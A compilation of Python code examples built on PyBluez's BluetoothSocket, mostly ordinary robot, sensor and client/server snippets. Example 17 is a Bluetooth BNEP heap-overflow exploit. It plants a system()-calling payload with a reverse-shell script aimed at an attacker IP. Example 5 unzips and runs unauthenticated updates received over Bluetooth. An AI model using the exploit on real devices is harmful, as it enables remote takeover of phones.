Exemplo n.º 1
0
 def __init__(self, addr):
     self.sock = bluetooth.BluetoothSocket(bluetooth.RFCOMM)
     self.addr = addr
Exemplo n.º 2
0
#-*- coding: utf-8 -*-
#python2!!

import numpy as np
import bluetooth
import cv2
import socket, time, math
import hadairo as hd

####bluetooth通信の設定
addr = "B8:27:EB:95:A6:C0"  #アドレス
addr_pc = "127.0.1.1"
port1 = 1  #ポート pc→pi
sock1 = bluetooth.BluetoothSocket(bluetooth.RFCOMM)  #ソケット作成

thre5 = 200  #y
thre6 = 360  #y
thre7 = 250  #x
thre8 = 410  #x


####解析結果に応じた値の分類
def input_search(x, y, area):

    #処理内容
    if x > thre8 and y < thre6 and y > thre5:
        msg = "deg_0"
    elif x > thre8 and y < thre5:
        msg = "deg_45"
    elif x < thre8 and x > thre7 and y < thre5:
        msg = "deg_90"
Exemplo n.º 3
0
# file: l2capclient.py
# desc: Demo L2CAP client for bluetooth module.
# $Id: l2capclient.py 524 2007-08-15 04:04:52Z albert $

import sys
import bluetooth

if sys.version < '3':
    input = raw_input

sock = bluetooth.BluetoothSocket(bluetooth.L2CAP)

if len(sys.argv) < 2:
    print("usage: l2capclient.py <addr>")
    sys.exit(2)

bt_addr = sys.argv[1]
port = 0x1001

print("trying to connect to %s on PSM 0x%X" % (bt_addr, port))

sock.connect((bt_addr, port))

print("connected.  type stuff")
while True:
    data = input()
    if (len(data) == 0): break
    sock.send(data)
    data = sock.recv(1024)
    print("Data received:", str(data))
Exemplo n.º 4
0
def clientNetwork(imageViewerSamsung):

    dataStr = ""
    tabData = []
    address = "BC:76:5E:96:EE:6C"
    uuid = "00001101-0000-1000-8000-00805F9B34FB"
    finish = True
    end = 'END'

    while finish:
        print("Searching ...")
        try:

            service_matches
        except NameError:
            service_matches = bluetooth.find_service(uuid=uuid)
        else:
            if not service_matches:
                print("without address")
                service_matches = bluetooth.find_service(uuid=uuid)
            else:
                print("with address")
                service_matches_with_addr = bluetooth.find_service(
                    uuid=uuid, address=host)
                if service_matches_with_addr:
                    service_matches = service_matches_with_addr
                else:
                    continue

        if service_matches:
            first_match = service_matches[0]
            port = first_match["port"]
            name = first_match["name"]
            host = first_match["host"]
            print("Connecting to ", name, " on ", host)
            sock = bluetooth.BluetoothSocket(bluetooth.RFCOMM)
            try:
                sock.connect((host, port))

                data = sock.recv(9)
                while True:
                    data = sock.recv(8)
                    if data:
                        dataStr += data.decode('latin1')
                    if dataStr.endswith(end):
                        break
                    elif not data:
                        break
                finish = False
            except:
                e = sys.exc_info()[0]
                print("error:", e)
    print("data:", dataStr)
    tabData = conversionChartoFloat(dataStr)
    sock.close()
    del service_matches
    dataStr = ""

    imageViewerSamsung.data = tabData
    imageViewerSamsung.actualizeGraphic()

    while (1):
        time.sleep(2)
Exemplo n.º 5
0
def start_marscat_bt() -> None:
    server_sock = bluetooth.BluetoothSocket(bluetooth.L2CAP)
    server_sock.bind(("", bluetooth.PORT_ANY))
    server_sock.listen(1)
    port = server_sock.getsockname()[1]
    uuid = '26754beb-1bd0-4017-b341-154bed30b71a'
    name = 'marscat_bt'
    bluetooth.advertise_service(
        server_sock,
        name,
        service_id=uuid,
        service_classes=[uuid, bluetooth.SERIAL_PORT_CLASS],
        profiles=[bluetooth.SERIAL_PORT_PROFILE],
        provider='',
        description='',
        protocols=[bluetooth.OBEX_UUID])
    print("Waiting for connection on RFCOMM channel {}".format(port))

    client_sock, client_info = server_sock.accept()

    print("Accepted connection from", client_info)

    while True:
        time.sleep(0.1)
        try:
            data = client_sock.recv(1024)
        except OSError:
            print("Remote client disconnected")
            data = None

        if not data:
            client_sock.close()
            print("Close Client Socket")
            print("Waiting for connection on RFCOMM channel {}".format(port))
            client_sock, client_info = server_sock.accept()
            print("Accepted connection from", client_info)
            continue

        if data == b'run':
            pass
            #mars.set_run()
        elif data == b'walk':
            pass
            #mars.set_walk()
        elif data == b'stand':
            pass
            #mars.set_stand()
        elif data == b'sit':
            pass
            #mars.set_sit()
        elif data == b'left':
            pass
            #mars.set_turn()
        elif data == b'right':
            pass
            #mars.set_turn(-1)
        elif data == b'send_update_start':
            print('start receive')

            # recv file information
            data = client_sock.recv(1024)
            file_len = int(str(data, encoding='utf8'))
            print('file size : ', file_len)

            data = client_sock.recv(1024)
            file_md5 = str(data, encoding='utf8')
            print(file_md5)

            # receive marsai.zip
            if os.path.exists(str(pathlib.Path.home()) + '/marsai.zip'):
                os.system(
                    'rm {}'.format(str(pathlib.Path.home()) + '/marsai.zip'))
            os.system(
                'touch {}'.format(str(pathlib.Path.home()) + '/marsai.zip'))

            i = 0
            buffer = 4096

            def recv_data(buffer):
                print('start recv_data')
                data = client_sock.recv(buffer)
                return data

            with open(str(pathlib.Path.home()) + '/marsai.zip', 'ab+') as f:
                while file_len != 0:
                    time.sleep(0.1)
                    data = recv_data(buffer)
                    #while True:
                    #    try:
                    #        time.sleep(0.1)
                    #        data = func_timeout(1, recv_data, (buffer, ))
                    #    except FunctionTimedOut:
                    #        print('time out')
                    #        client_sock.send(str(file_len).encode('utf-8'))
                    #        client_sock.close()
                    #        print('client closed')
                    #        client_sock, client_info = server_sock.accept()
                    #        print('accepted')
                    #    except bluetooth.BluetoothError as e:
                    #        print("error")
                    #    else:
                    #        break
                    f.write(data)
                    print('write', i, len(data))
                    i += 1
                    file_len -= len(data)
                    print(file_len)
                    if file_len < buffer:
                        buffer = file_len
                print('write finished')
            print('receive over')

            # recv over flag and update marsai
            while True:
                data = client_sock.recv(4096)
                if data == b'over_and_update':
                    md5 = get_md5(str(pathlib.Path.home()) + '/marsai.zip')
                    if file_md5 == md5:
                        os.system('sh ~/marsai/tools/stop-systemd-services.sh')
                        time.sleep(3)
                        os.system('unzip -o ~/marsai.zip -d ~/marsai')
                        time.sleep(1)
                        os.system(
                            'sh ~/marsai/tools/start-systemd-services.sh')
                        client_sock.send(b'update_over')
                        print('over')
                        break
                    else:
                        print('md5 error')
                        break
                else:
                    pass

        else:
            pass

        print("Received " + str(data))

    client_sock.close()
    print("Close Client Socket")

    server_sock.close()
    print("Stop Server")
Exemplo n.º 6
0
 def __init__(self, hwaddress="00:19:5D:EE:24:1C", channel=1):
     self.client_socket = bluetooth.BluetoothSocket(bluetooth.RFCOMM)
     self.client_socket.connect((hwaddress, channel))
Exemplo n.º 7
0
import bluetooth as bt

socket = bt.BluetoothSocket( bt.RFCOMM )
address = "B8:27:EB:AD:74:74" #You should change this to your target address
#address = "B8:27:EB:14:18:CC"
socket.connect((address, 3)) 
print "connected."
socket.send("Hello Bluetooth World.")
print "sent data"
recv = socket.recv(1024)
print "recv data : %s" % recv

socket.close()
Exemplo n.º 8
0
def deviceLoop(args):
    carbon = None
    device = None
    name = args['name']
    address = args['address']
    mode = args['mode']
    period = args.get('period', 30)
    timeout = args.get('timeout', 60)
    sleep = args.get('sleep', None)
    warmUp = args.get('warmUp', 5)
    errorWait = args.get('errorWait', 0)
    resetTime = args.get('resetTime', 604800)
    connected = False
    resetErrors = 0
    lastOkTime = 0
    epoch = time.time()
    while True:
        start = time.time()
        try:
            buffer = ''
            connected = False
            wait = 0
            if carbon is None:
                print('[%s] Connecting to carbon %s' % (name, args['carbon']))
                addr = args['carbon'].split(':')
                new_carbon = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                new_carbon.connect((addr[0], int(addr[1])))
                carbon = new_carbon
                print('[%s] Connected to carbon' % (name))
            print('[%s] Connecting to device %s' % (name, address))
            new_device = bluetooth.BluetoothSocket(bluetooth.RFCOMM)
            new_device.connect((address, 1))
            device = new_device
            device.settimeout(timeout)
            print('[%s] Connected to device %s (timeout %.0f)' %
                  (name, address, timeout))
            sockets[name] = device
            connected = True
            if mode == 'READ':
                if sleep:
                    tries = 0
                    while tries < 3:
                        ++tries
                        print('[%s] < PING' % name)
                        device.send("PING\n")
                        buffer = ''
                        while True:
                            data = device.recv(1)
                            if len(data) == 0:
                                break
                            if (data[0] < 32
                                    or data[0] > 127) and data[0] != 10:
                                print('[%s] > %s' % (name, buffer))
                                break
                            buffer += data.decode()
                            if buffer.endswith('\n'):
                                buffer = buffer.rstrip()
                                print('[%s] > %s' % (name, buffer))
                                break
                        if buffer == 'PONG':
                            break
                    if buffer != 'PONG':
                        raise Exception('Could not communicate to device')

                print('[%s] < %s' % (name, mode))
                device.send("%s\n" % mode)
            elif mode == 'FEED':
                print('[%s] < %s %d' % (name, mode, period))
                device.send("%s %d\n" % (mode, period))
            elif mode == 'RESET':
                connected = False
                mode = args['mode']
                wait = errorWait
                print('[%s] < RESET' % name)
                device.send("RESET\n")
            lastOkTime = int(time.time())
            buffer = ''
            while connected:
                data = device.recv(1)
                if len(data) == 0:
                    break
                if (data[0] < 32 or data[0] > 127) and data[0] != 10:
                    print('[%s] > %s' % (name, buffer))
                    buffer = ''
                    continue
                buffer += data.decode()
                if buffer.endswith('\n'):
                    buffer = buffer.rstrip()
                    if len(buffer) == 0:
                        continue
                    print('[%s] > %s' % (name, buffer))
                    if buffer == 'PING':
                        continue
                    if buffer == 'PONG':
                        continue
                    if buffer == 'AT':
                        mode = args['mode']
                        print('[%s] Invalid command' % name)
                        break
                    parts = buffer.split(' ')
                    if len(parts) == 0 or parts[0] == 'DONE':
                        if mode == 'READ':
                            if sleep:
                                spent = time.time() - start
                                if spent < period:
                                    wait = period - spent
                                else:
                                    wait = period
                                amount = int(wait - warmUp)
                                if amount > 0:
                                    print('[%s] < SLEEP %d' % (name, amount))
                                    device.send("SLEEP %d\n" % (amount))
                            break
                    if parts[0] == 'DATA' and parts[3] == 'OK':
                        last_part = parts[len(parts) - 1]
                        data_part = buffer[0:len(buffer) - len(last_part) - 1]
                        if len(last_part) <= 2:
                            if len(data_part) != int(last_part):
                                print('[%s] Error in stream, len %d != %d' %
                                      (name, len(data_part), int(last_part)))
                                break
                        if len(last_part) == 4:
                            if crc16(data_part) != int(last_part, 16):
                                print('[%s] Error in stream, crc16 %d != %d' %
                                      (name, crc16(data_part),
                                       int(last_part, 16)))
                                break
                        carbon_data = '{0:s}.{1:s} {2:.2f} {3:d}'.format(
                            name, parts[1], float(parts[2]), int(time.time()))
                        carbon.send(('%s\n' % carbon_data).encode())
                        carbon.send(('{0:s}.good 1.0 {1:d}\n'.format(
                            name, int(time.time()))).encode())
                        carbon.send(('{0:s}.errors 0.0 {1:d}\n'.format(
                            name, int(time.time()))).encode())
                        resetErrors = 0
                        if lastOkTime < int(time.time()) - 60:
                            print('[%s] < OK' % name)
                            device.send("OK\n")
                            lastOkTime = int(time.time())

                    buffer = ''
            device.close()
            device = None
            print('[%s] Disconnected' % name)
            del sockets[name]

        except Exception as e:
            print('[%s] Error' % name)
            print('[%s] %s' % (name, e))
            if device is not None:
                device.close()
                device = None
                del sockets[name]
            if carbon is not None:
                print('[%s] Send error to carbon' % name)
                try:
                    carbon.send(('{0:s}.errors 1.0 {1:d}\n'.format(
                        name, int(time.time()))).encode())
                    carbon.send(('{0:s}.good 0.0 {1:d}\n'.format(
                        name, int(time.time()))).encode())
                    if connected:
                        carbon.send(('{0:s}.resets 1.0 {1:d}\n'.format(
                            name, int(time.time()))).encode())
                except Exception as e:
                    pass

                carbon.close()
                carbon = None
            print('[%s] Disconnected' % name)
            if mode == 'RESET':
                mode = args['mode']
            else:
                wait = errorWait
            if connected:
                resetErrors += 1
                print('[%s] Error while connected #%d' % (name, resetErrors))
                if resetErrors >= 3:
                    try:
                        if carbon is not None:
                            carbon.send(('{0:s}.resets 1.0 {1:d}\n'.format(
                                name, int(time.time()))).encode())
                    except Exception as e:
                        pass
                    mode = 'RESET'
                    print('[%s] Will reset on reconnect because of errors' %
                          name)
                    resetErrors = 0
            pass

        now = time.time()
        if now - epoch > resetTime:
            epoch = now
            mode = 'RESET'
            print('[%s] Will reset on reconnect because of resetTime' % name)

        spent = now - start
        if wait == 0:
            if spent < period:
                wait = period - spent
            else:
                wait = period
        print('[%s] Spent %d seconds, waiting for %.0f seconds (period %.0f)' %
              (name, spent, wait, period))
        time.sleep(wait)
    return
Exemplo n.º 9
0
    record = np.zeros(shape=(int(duration / 1000 * SAMPLE_FREQUENCY), ))
    start = int((emission_offset / 1000 + distance / SOUND_CELERITY) *
                SAMPLE_FREQUENCY)
    record[start:start + int(SIGNAL_DURATION * SAMPLE_FREQUENCY)] = signal_emit
    return record


if __name__ == "__main__":
    signal_json = Path("../common/signal.json")
    # signal_wav = Path("../common/signal.wav")
    # if not (signal_json.exists() and signal_wav.exists()) :
    create_signal()
    with open(signal_json, "r") as json_file:
        signal = json.loads(json_file.read())["signal"]

    server_sock = bt.BluetoothSocket(bt.RFCOMM)
    server_sock.bind(("", bt.PORT_ANY))
    server_sock.listen(1)
    port = server_sock.getsockname()[1]
    uuid = "ae465fd9-2d3b-a4c6-4385-ea69b4c1e23c"
    bt.advertise_service(
        server_sock,
        "LocalisationServer",
        service_id=uuid,
        service_classes=[uuid, bt.SERIAL_PORT_CLASS],
        profiles=[bt.SERIAL_PORT_PROFILE],
    )
    if SIMULATION:
        emission_offset = 500 + np.random.randint(500)
        record = simulate_record(emission_offset + 500, emission_offset, 0.5,
                                 signal)
Exemplo n.º 10
0
 def __init__(self, host: str):
     self._socket = bluetooth.BluetoothSocket(bluetooth.RFCOMM)
     self._socket.connect((host, 1))
Exemplo n.º 11
0
    #print(deviceList[i])  # Uncomment to find addresses of all connected sensors
    for k in range(len(addressList)):
        if deviceList[i] == addressList[k]:
            activeSensors.append(
                nameList[k]
            )  # Creates a list of the names of the active sensors

#Bluetooth connect
for i in range(len(btAddList)):
    if flag != True:
        try:
            bd_addr = str(btAddList[i][1])

            port = 1

            sock = bluetooth.BluetoothSocket(
                bluetooth.RFCOMM)  #Creates a bluetooth connection object
            sock.connect(
                (bd_addr, port)
            )  #Connection is the bluetooth address and whatever bluetooth port you want. This will fail if it can't connect and thus that is why there is a broad try and except. I didn't really understand the error codes when I wrote this originally.
            flag = True

            while True:
                data = ""  #Resets the data string
                for i in range(
                        len(deviceList)
                ):  # Adds each device to the data string before setting it by iterating over each
                    device_folder = glob.glob(base_dir + '28*')[i]
                    device_file = device_folder + '/w1_slave'
                    data += activeSensors[i] + " " + str(
                        readTemp()) + "|"  # Add each sensor to the data string
                sock.send(str.encode(data))  # Sends the data string
Exemplo n.º 12
0
def socket(proto=_lightbluecommon.RFCOMM):
    # return a wrapped BluetoothSocket
    sock = bluetooth.BluetoothSocket(_PROTOCOLS[proto])
    return _SocketWrapper(sock)
Exemplo n.º 13
0
        self.__dict__["_advertised"] = False
        self.__dict__["_listening"] = False

    # must implement accept() to return _SocketWrapper objects
    def accept(self):
        try:
            # access _sock._sock (i.e. pybluez socket's internal sock)
            # this is so we can raise timeout errors with a different exception
            conn, addr = self._sock._sock.accept()
        except _bluetooth.timeout, te:
            raise _socket.timeout(str(te))
        except _bluetooth.error, e:
            raise _socket.error(str(e))

        # return new _SocketWrapper that wraps a new BluetoothSocket
        newsock = bluetooth.BluetoothSocket(_sock=conn)
        return (_SocketWrapper(newsock), addr)

    accept.__doc__ = _lightbluecommon._socketdocs["accept"]

    def listen(self, backlog):
        if not self._listening:
            self._sock.listen(backlog)
            self._listening = True

    # must implement dup() to return _SocketWrapper objects
    def dup(self):
        return _SocketWrapper(self._sock.dup())

    dup.__doc__ = _lightbluecommon._socketdocs["dup"]
Exemplo n.º 14
0
 def __init__(self, clientMAC, channel, movementController):
     self.serverSocket = bluetooth.BluetoothSocket(bluetooth.RFCOMM)
     self.serverSocket.bind((clientMAC, channel))
     self.movementController = movementController
     self.listenAndWaitForClient()
Exemplo n.º 15
0
def get_bluetooth_socket(ld):
    sock = bluetooth.BluetoothSocket(bluetooth.RFCOMM)
    ld.write(_format_log("Got bluetooth socket"))
    return sock
Exemplo n.º 16
0
# turn on led to show connected
wm.led = 1
sock = None
print("Connected to Wiimote, connecting to arcc")

all_devices = bluetooth.discover_devices(duration=8,
                                         lookup_names=True,
                                         flush_cache=True,
                                         lookup_class=False)

for addr, name in all_devices:
    try:
        if name == "arcc":
            print("Found arcc at address: %s" % addr)

            sock = bluetooth.BluetoothSocket()

            port = 0x1001

            print("Trying to connect")

            sock.connect((addr, port))

            print("Connected, sending Wiimote state.")
            while True:
                str_data = re.sub(r"[()\s+]", "", str(wm.state["acc"]))
                str_data += ","
                str_data += str(wm.state["buttons"])
                str_data += "\n"
                # str_data = json.dumps(wm.state)
                if len(str_data) != 0:
Exemplo n.º 17
0
def pwn(src_hci, dst, bluetooth_default_bss_base, system_addr, acl_name_addr,
        my_ip, libc_text_base):
    # Gen new BDADDR, so that the new BT name will be cached
    src = set_rand_bdaddr(src_hci)

    # Payload is: '"\x17AAAAAAsysm";\n<bash_commands>\n#'
    # 'sysm' is the address of system() from libc. The *whole* payload is a shell script.
    # 0x1700 == (0x1722 & 0xff00) is the "event" of a "HORRIBLE_HACK" message.
    #payload = struct.pack('<III', 0x41411722, 0x41414141, system_addr) + b'";\n' + SHELL_SCRIPT.format(ip=my_ip, port=NC_PORT) + b'\n#'

    # x -> payload address (name has 4 bytes of padding)
    x = acl_name_addr + 4

    shell_addr = x + 24  # SHELL SCRIPT address
    ptr0 = x + 16 - 4  # points to ptr0+4 (ptr1)
    ptr1 = x + 8 - 8  # points to ptr1+8 (ptr2)
    ptr2 = x + 20 - 28  # points to ptr2+28 (system_addr)

    #payload = 'A'+ struct.pack('<IIIIII', shell_addr, 0x41414141, ptr2, 0x42424242, ptr1, system_addr) + SHELL_SCRIPT.format(ip=my_ip, port=NC_PORT)
    payload = 'A' + struct.pack('<IIIIII', shell_addr, ptr1, ptr2, ptr0, ptr1,
                                system_addr) + SHELL_SCRIPT.format(
                                    ip=my_ip, port=NC_PORT)

    log.info("shelladdr 0x%08x" % shell_addr)
    log.info("ptr0      0x%08x" % ptr0)
    log.info("ptr1      0x%08x" % ptr1)
    log.info("ptr2      0x%08x" % ptr2)
    log.info("system    0x%08x" % system_addr)

    log.info("PAYLOAD %s" % payload)

    assert len(payload) < MAX_BT_NAME
    assert b'\x00' not in payload

    # Puts payload into a known bss location (once we create a BNEP connection).
    set_bt_name(payload, src_hci, src, dst)

    prog = log.progress('Connecting to BNEP again')

    bnep = bluetooth.BluetoothSocket(bluetooth.L2CAP)
    bnep.bind((src, 0))
    bnep.connect((dst, BNEP_PSM))

    prog.success()
    prog = log.progress('Pwning...')

    # Each of these messages causes BNEP code to send 100 "command not understood" responses.
    # This causes list_node_t allocations on the heap (one per reponse) as items in the xmit_hold_q.
    # These items are popped asynchronously to the arrival of our incoming messages (into hci_msg_q).
    # Thus "holes" are created on the heap, allowing us to overflow a yet unhandled list_node of hci_msg_q.
    for i in range(20):
        bnep.send(binascii.unhexlify('8109' + '800109' * 100))

    # Repeatedly trigger the vuln (overflow of 8 bytes) after an 8 byte size heap buffer.
    # This is highly likely to fully overflow over instances of "list_node_t" which is exactly
    # 8 bytes long (and is *constantly* used/allocated/freed on the heap).
    # Eventually one overflow causes a call to happen to "btu_hci_msg_process" with "p_msg"
    # under our control. ("btu_hci_msg_process" is called *constantly* with messages out of a list)
    for i in range(1000):
        # If we're blocking here, the daemon has crashed
        _, writeable, _ = select.select([], [bnep], [], PWNING_TIMEOUT)
        if not writeable:
            break
        bnep.send(binascii.unhexlify('810100') + struct.pack('<II', 0, ptr0))
    else:
        log.info("Looks like it didn't crash. Possibly worked")

    prog.success()
Exemplo n.º 18
0
def bt_create_socket():
    if BLUEZ:
        sock = bluetooth.BluetoothSocket(bluetooth.L2CAP)
    else:
        sock = lightblue.socket(lightblue.L2CAP)
    return sock
Exemplo n.º 19
0
def connect_remote_control(address):
    socket = bluetooth.BluetoothSocket(bluetooth.RFCOMM)
    socket.connect((address, PORT))
    print("Onlajn")
    PLAYER.show_text("Blutooth ovladač připraven.")
    return socket
Exemplo n.º 20
0
import bluetooth
from time import sleep

mac_address = "D8:A0:1D:51:06:D2"
central_name = "central"
connect_port = 1

ble_server = bluetooth.BluetoothSocket(bluetooth.RFCOMM)
while (1):
    try:
        print mac_address + " : Connect......"
        ble_server.connect((mac_address, connect_port))
        sleep(2)
        print mac_address + " : Successful Connected!!!"
        break
    except bluetooth.BluetoothError:
        print mac_address + " : connecting failed"
        print "try connecting"
        sleep(1)
    except KeyboardInterrupt:
        break

while 1:
    try:
        ble_server.send("Hello World")
        print "data send"
        sleep(1)
    except KeyboardInterrupt:
        print
Exemplo n.º 21
0
#!/usr/bin/env python3

import bluetooth

sock_ctrl = bluetooth.BluetoothSocket(bluetooth.L2CAP)
sock_intr = bluetooth.BluetoothSocket(bluetooth.L2CAP)

port_ctrl = 0x11
port_intr = 0x13

print("Opening ctrl port")
sock_ctrl.bind(("", port_ctrl))
sock_ctrl.listen(1)

sock_ctrl_client, address = sock_ctrl.accept()
print("Got connection on ctrl from", address)

print("Opening intr port")
sock_intr.bind(("", port_intr))
sock_intr.listen(1)

sock_intr_client, address = sock_intr.accept()
print("Got connection on intr from", address)

print("Closing all ports")
sock_intr_client.close()
sock_ctrl_client.close()
sock_intr.close()
sock_ctrl.close()
Exemplo n.º 22
0
# to install easygui, use "sudo apt-get install python-easygui"
from easygui import *


if len(sys.argv) < 2:
    sys.exit('Usage: %s BT-MAC (00:00...)' % sys.argv[0])

BTMAC=sys.argv[1]
secsToWait=3
nrOfTrials=10
count=1
while(count < nrOfTrials):
	try:
		count+=1
		gaugeSocket = bluetooth.BluetoothSocket(bluetooth.RFCOMM)
		gaugeSocket.connect((BTMAC, 1))
		#gaugeSocket.setblocking(0)
		print "Connected - wait ", secsToWait, " secs"
		gaugeSocket.close()
		time.sleep(secsToWait)
	except bluetooth.btcommon.BluetoothError as error:
		gaugeSocket.close()
		print "Could not connect: ", error, "; Retrying in ", secsToWait, "secs..."
		time.sleep(secsToWait)




gaugeSocket.close()
Exemplo n.º 23
0
 def __init__(self):
     self.sock = bluetooth.BluetoothSocket(bluetooth.RFCOMM)
Exemplo n.º 24
0
    def run(self):
        self.needStop = False

        bd_addr = '98:D3:32:30:A6:53'
        port = 1
        sock = bluetooth.BluetoothSocket(bluetooth.RFCOMM)
        sock.connect((bd_addr, port))
        #uart = uartapi.UartAPISample()
        #uart.openUart()
        while not self.needStop:
            #uart.RunGREEN()
            wakeup = self.voiceCmd.startDetect()
            self.handler.sendEmptyMessage(MsgConst.MSG_FORCE_STOP_TTS)
            if wakeup != VoiceCmd.STATE_STOPPED:

                if wakeup == VoiceCmd.STATE_DETECTED_KEY:
                    #uart.RunROTATE()
                    msg = self.handler.obtainMessage1(
                        MsgConst.MSG_NORMAL_TTS_PLAY)
                    msg.obj = "在"
                    self.handler.sendMessage(msg)
                    time.sleep(0.5)
                    self.audioSrc.clearData()
                nlpResult = self.nlp.getNlpResult(
                    self.audioSrc)  #json about the specch from olami api
                print(nlpResult)
                data = nlpResult
                #uart.RunRED()
                if data != None:
                    if data[0]['type'] == 'guide_dog':
                        data = data[0]['semantic'][0][
                            'modifier']  # analzye data and find the key word
                        print(data)
                        if data == [
                                'go_toward'
                        ]:  # if the key word is go_toward then tell Arduino to go forward
                            print('Got go_toward')
                            sock.send(
                                '0'
                            )  #send a bit to arduino via bluetooth and controll it
                        elif data == [
                                'go_backward'
                        ]:  # if the key word is go_backward then tell Arduino to go backward
                            print('Got go_backward')
                            sock.send(
                                '1'
                            )  #send a bit to arduino via bluetooth and controll it
                        elif data == [
                                'go_right'
                        ]:  # if the key word is go_right then tell Arduino to go right
                            print('Got go_right')
                            sock.send(
                                '2'
                            )  #send a bit to arduino via bluetooth and controll it
                        elif data == [
                                'go_left'
                        ]:  # if the key word is go_left then tell Arduino to go left
                            print('Got go_left')
                            sock.send(
                                '3'
                            )  #send a bit to arduino via bluetooth and controll it
                        elif data == [
                                'slow'
                        ]:  # if the key word is slow then tell Arduino to slow down
                            print('Got slow')
                            sock.send(
                                '4'
                            )  #send a bit to arduino via bluetooth and controll it
                        elif data == [
                                'stop'
                        ]:  # if the key word is stop then tell Arduino to stop
                            print('Got stop')
                            sock.send(
                                '5'
                            )  #send a bit to arduino via bluetooth and controll it
                        else:
                            print('Not match anything')
                else:
                    print('Data is none')

                if nlpResult != None:
                    msg = self.handler.obtainMessage1(
                        MsgConst.MSG_DATA_FROM_SERVER)
                    msg.obj = nlpResult
                    self.handler.sendMessage(msg)

                self.audioSrc.clearData()
Exemplo n.º 25
0
def obtenerFecha():
    now = datetime.datetime.now()
    #print "Fecha completa>"+str(now)
    dia = now.day
    mes = now.month
    anno = now.year
    hora = now.hour
    minuto = now.minute
    segundo = now.second

    return str(dia) + "_" + str(mes) + "_" + str(anno) + "_" + str(
        hora) + "_" + str(minuto) + "_" + str(segundo)


server_sock = bluetooth.BluetoothSocket(bluetooth.RFCOMM)
valor = ""
port = 1
opcion = ""
urlRegistrarGrabacionEstetoscopio = "http://159.89.133.63/esteto/DATABASE/uploadRegisterRasph.php"
urlRegistrarGrabacionEndoscopio = "http://159.89.133.63/endoscope/DATABASE/uploadRegisterRasph.php"
urlRegistrarGrabacionReader = "http://159.89.133.63/reader/DATABASE/uploadRegisterRasph.php"
urlRegistrarGrabacionECG = "http://159.89.133.63/ecg_mqtt/DATABASE/uploadRegisterRasph.php"

#urlRegistrarGrabacionEstetoscopio = "http://vid.botonmedico.com/guardarEnArchivoPHP.php"
urlEstetoUploads = "https://msg.botonmedico.com/esteto/uploads/"
urlEndoUploads = "https://msg.botonmedico.com/endoscope/uploads/"
urlReaderUploads = "https://msg.botonmedico.com/reader/uploads/"

camera = ""
Exemplo n.º 26
0
def main():
	
	try:
		# switch off subprocesses output
		devs = open(os.devnull,"w")
		
		# make directory with root privileges to store pcap output file
		# tshark output can be stored only in root's directories
		subprocess.call("mkdir ./capture",shell=True,stdout=devs,stderr=devs)
		
		#run tshark with root privileges on bluetooth interface
		thread=subprocess.Popen(["tshark", "-w", "./capture/capture.pcap", "-i", "bluetooth0"],stdout=devs,stderr=devs)
		
		#STEP 1: BLUETOOTH SCANNER
		devices = bluetooth.discover_devices(lookup_names = True, flush_cache = True, duration = SCANNER_TIME)

		if len(devices) == 0:
			print ("No devices found")
			thread.terminate()
			quit()

		i=0
		dev_names = []
		dev_addr = []
		dev_services = []
		
		# print services for each discovered device
		for addr, name in devices:
			#device_name = bluetooth.lookup_name(addr)
			dev_addr.append(addr)
			dev_names.append(name)
			print "Device N." + str(i) + ": " + addr + ": " + name
			services = []	
			
			j=0
			for service in bluetooth.find_service(address = addr):
				print "   Service N: ", j
				print "   Name: ", service["name"]
				print "   Description: ", service["description"]
				print "   Protocol: ", service["protocol"]
				print "   Provider: ", service["provider"]
				print "   Port: ", service["port"]
				print "   Service id: ", service["service-id"]
				print ""
				services.append(service)
				j=j+1
			dev_services.append(services)
			i=i+1	
		
		
		#STEP 2: DEVICE CHOOSING
		try:
			userInput=(raw_input('Chose a device number for pairing (q for quit):'))
			if userInput == 'q':
				thread.terminate()
				quit()
			deviceNum = int(userInput)
		except ValueError:
			print "Not a number"
			thread.terminate()
			quit()
		if deviceNum >= len(devices):
			print "Input error: no such device"
			thread.terminate()
			quit()

		address = dev_addr[deviceNum]
		name = dev_names[deviceNum]
		print "You have chosen device " + str(deviceNum) + ": " + address + "(" + name + ")"
		
		#STEP 3: CHOSE SERVICE
		try:
			serviceNum = int(raw_input('Chose the service number :'))         # RFCOMM port
		except ValueError:
			print "Not a number"
			thread.terminate()
			quit()
		chosen_services = dev_services[deviceNum]
		if serviceNum >= len(chosen_services):
			print "Input error: no such service"
			thread.terminate()
			quit()
		chosen_service = chosen_services[serviceNum]
		protocol = chosen_service["protocol"]
		port = chosen_service["port"]
		
		print "protocol: " + protocol
		print "port: ", port
			
		#STEP 4: PAIRING
		try:
			# bluetooth protocol for OBD-II interaction: RFCOMM
			if protocol == "RFCOMM":
				socket = bluetooth.BluetoothSocket(bluetooth.RFCOMM)
			elif protocol == "L2CAP":
				socket = bluetooth.BluetoothSocket(bluetooth.L2CAP)
			else:
				print "Protocol not supported"
				thread.terminate()
				quit()
			
			socket.connect((address,port))
			print "Device connected"
			
			# the first packet is equal to the first sent by the official application
			socket.send("ATZ\r")
			print "Sent: ATZ\r"
			time.sleep(1)
			# expected answer is "\r\rELM327 v1.5\r\r"
			
			# the second packet is equal to the second sent by the official application
			socket.send("ATD\r")
			print "Sent: ATD\r"
			time.sleep(1)
			# expected answer is "\rOK\r\r"
			
			while True:
				# send pseudo-random generated data
				data = generator()
				socket.send(data)
				print "Sent: ", data
				time.sleep(1)
				
			'''
				#To receive data
				received = socket.recv(1024) # Buffer size
				print "received: ", received
			'''
		
		except bluetooth.btcommon.BluetoothError as err:
			print err
			socket.close()
			thread.terminate()
			quit()
			
	except KeyboardInterrupt:
		# to intercept CRTL+C interrupt 		
		print "\nQuitting..."
		thread.terminate()
		quit()
Exemplo n.º 27
0
def sendMessageTo(targetBluetoothMacAddress):
  port = 1
  sock=bluetooth.BluetoothSocket( bluetooth.RFCOMM )
  sock.connect((targetBluetoothMacAddress, port))
  sock.send("hello!!")
  sock.close()
Exemplo n.º 28
0
import bluetooth
import sys

#za przykładem z:
#https://github.com/pybluez/pybluez/blob/master/examples/simple/l2capclient.py

iNode = 'iNode-43F2B7'
#iNode = '/org/bluez/hci1/dev_D0_F0_18_43_F2_B7/service0011/char0012' #z charakterystyk wylistowanych programem bluetoothctl
#D0:F0:18:43:F2:B7

uuid = "94f39d29-7d6d-437d-973b-fba39e49d4ee" #przykład z dokumentacji
uuid = "04710C43-4C62-4DE8-9C1B-C439689D1886".lower()

addr = 'D0:F0:18:43:F2:B7' #mac address (z charakterstyk wylistowanych programem bluetoothctl)

#sock = bluetooth.BluetoothSocket(bluetooth.L2CAP) #ValueError: invalid protocol
